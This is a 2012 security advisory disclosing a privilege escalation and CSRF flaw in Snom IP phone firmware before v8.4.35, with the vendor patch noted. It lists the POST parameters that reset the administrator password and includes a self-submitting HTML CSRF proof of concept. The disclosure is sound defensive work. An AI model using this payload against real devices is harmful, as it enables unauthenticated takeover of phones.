Sense of Security – Security Advisory – SOS-12-001
| Release Date. | 23-Feb-2012 |
| Last Update. | – |
| Vendor Notification Date. | 27-Jan-2012 |
| Product. | Snom IP Phone series |
| Platform. | Hardware |
| Affected versions. | All versions prior to v8.4.35 |
| Severity Rating. | High |
| Impact. | Privilege escalation |
| Attack Vector. | Remote without authentication |
| Solution Status. | Vendor patch |
| CVE reference. | CVE- Not yet assigned |
Details.
The privilege escalation is possible because the form used to login as the admin user is the same form for resetting the admin password, and the user is not required to enter their old password when changing their password. This form is also vulnerable to Cross-Site Request Forgery (CSRF).
This issue is exploitable on the following pages:
Version 7, 8: http://x.x.x.x/advanced_network.htm
Version 6 and below: http://x.x.x.x/advanced.htm
Where an attacker can reset the Administrator password by removing all password attempt variables and adding the following POST data:
admin_mode=on
admin_mode_password=newpass
admin_mode_password_confirm=newpass
Settings=Save
hidden_tag=(leave as the current post variable if CSRF
protection is enabled in firmware versions 7.1.33 and above)
After sending the request the attacker can now login as the Administrator with the credentials specified in the above request.
Proof of Concept.
<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action=” http://x.x.x.x/advanced_network.htm” name=”form”
method=”POST”>
<input type=”text” name=”admin_mode” value=”on”>
<input type=”text” name=”admin_mode_password” value=”newpass”>
<input type=”text” name=”admin_mode_password_confirm” value=”newpass”>
<input type=”text” name=”Settings” value=”save”>
</form>
</body><br>
</html>
Solution.
Download the latest firmware version 8.4.35 for the Snom phone from:
http://wiki.snom.com/Firmware
Discovered by.
Nathaniel Carew from Sense of Security Labs.